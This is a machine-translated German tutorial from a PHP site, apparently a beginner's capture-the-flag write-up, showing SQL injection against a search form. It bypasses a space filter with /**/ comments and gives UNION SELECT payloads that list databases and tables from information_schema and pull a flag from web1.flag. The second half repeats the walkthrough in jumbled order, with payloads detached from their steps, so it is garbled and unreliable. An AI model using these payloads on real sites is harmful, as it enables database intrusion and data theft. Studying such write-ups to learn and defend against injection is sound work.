Heim >Datenbank >MySQL-Tutorial >Einfache Beispiele im Zusammenhang mit der SQL-Injektion

Einfache Beispiele im Zusammenhang mit der SQL-Injektion

巴扎黑
巴扎黑Original
2017-08-11 15:11:052922Durchsuche

Bei der sogenannten SQL-Injection werden SQL-Befehle in Webformularübermittlungen eingefügt oder Domänennamen oder Abfragezeichenfolgen für Seitenanfragen eingegeben, wodurch der Server letztendlich dazu verleitet wird, bösartige SQL-Befehle auszuführen. Als Nächstes teile ich Ihnen eine einfache SQL-Injection mit. Werfen wir einen Blick darauf

Die sogenannte SQL-Injection besteht darin, SQL-Befehle in Webformularübermittlungen einzufügen oder Abfragezeichenfolgen für Domänennamen oder Seitenanforderungen einzugeben, und zwar letztendlich den Server täuschen. Konkret geht es um die Möglichkeit, vorhandene Anwendungen zu nutzen, um (bösartige) SQL-Befehle zur Ausführung in die Backend-Datenbank-Engine einzuschleusen. Sie können Informationen über eine Website mit Sicherheitslücken erhalten, indem Sie (bösartige) SQL-Anweisungen in eine Web-Datenbank eingeben als die vom Designer vorgesehene Ausführung von SQL-Anweisungen. Beispielsweise haben viele frühere Film- und Fernsehwebsites Passwörter für VIP-Mitglieder preisgegeben, meist durch die Übermittlung von Abfragezeichen über WEB-Formulare. Solche Formulare sind besonders anfällig für SQL-Injection-Angriffe.

Geben Sie jeweils 1, 2 und 3 ein und es werden entsprechende Ergebnisse angezeigt.

Die Verwendung von ' meldet einen Fehler, sodass

konstruiert wird häufig verwendete SQL-Anweisungen: 1' und '1'='1

Keine Antwort Versuchen Sie 1' und '1'='2

Immer noch keine Antwort, Tooltip, es sollte etwas gefiltert werden, versuchen Sie, die SQL-Anweisung zu ändern, die

1and1=1

anzeigen kann Dinge, nachdem wir die Leerzeichen beurteilt und gefiltert hatten, verwendeten wir /**/ um Leerzeichen zu ersetzen

versuchen Sie 1'/**/'1'='1

Ein Ergebnis gefunden:

Dann die SQL-Anweisung erstellt:

Bestimmen Sie, welche Datenbanken vorhanden sind:


1'/**/union/**/select/**/schema_name/**/from/**/information_schema.schemata/**/where/**/'1'='1

Sie können die Ergebnisse sehen:

Sehen Sie, welche Datentabellen es gibt:


1'/**/union/**/select/**/table_name/**/from/**/information_schema.tables/**/where/**/'1'='1

Die Flag-Tabelle wurde gefunden. Wir vermuten, dass sie sich in der web1-Datenbank befinden sollte und das Feld ist flag (eigentlich in der Datenbank auf dieser Seite)

Also:


1'/**/union/**/select/**/flag/**/from/**/web1.flag/**/where/**/'1'='1

Ich bin auch ein Anfänger und habe auf die WPs vieler Experten verwiesen Nachdem Sie sie geschrieben haben. Danke!

Was genau wird gefiltert? Sie können wissen, was gefiltert wird....

Geben Sie jeweils 1, 2 und 3 ein die entsprechenden Ergebnisse

Bei Verwendung von ' wird ein Fehler gemeldet, daher erstellt

häufig verwendete SQL-Anweisungen: 1' und '1'='1

Keine Antwort, versuchen Sie es mit 1' und '1'='2

Immer noch keine Antwort, Tooltip, so sollte es sein Filtern Sie etwas, ändern Sie die SQL-Anweisung und versuchen Sie es mit

1and1=1

. Nach der Beurteilung werden die Leerzeichen gefiltert.*/Und/**
1'/**/union/**/select/**/schema_name/**/from/**/information_schema.schemata/**/where/**/'1'='1
*
1'/**/union/**/select/**/table_name/**/from/**/information_schema.tables/**/where/**/'1'='1
*/'1'='1

und fanden die Ergebnis:

Dann konstruieren Sie die SQL-Anweisung:

Bestimmen Sie, welche Datenbanken vorhanden sind:


Sie können das Ergebnis sehen:

1'/**/union/**/select/**/flag/**/from/**/web1.flag/**/where/**/'1'='1

Überprüfen Sie, welche Datentabellen vorhanden sind:


Wir Ich habe die Flag-Tabelle gefunden. Die Vermutung ist, dass sie sich in der web1-Datenbank befinden sollte und das Feld flag ist (eigentlich in der Datenbank dieser Seite)

Also:


Das obige ist der detaillierte Inhalt vonEinfache Beispiele im Zusammenhang mit der SQL-Injektion. Für weitere Informationen folgen Sie bitte anderen verwandten Artikeln auf der PHP chinesischen Website!

Stellungnahme:
Der Inhalt dieses Artikels wird freiwillig von Internetnutzern beigesteuert und das Urheberrecht liegt beim ursprünglichen Autor. Diese Website übernimmt keine entsprechende rechtliche Verantwortung. Wenn Sie Inhalte finden, bei denen der Verdacht eines Plagiats oder einer Rechtsverletzung besteht, wenden Sie sich bitte an admin@php.cn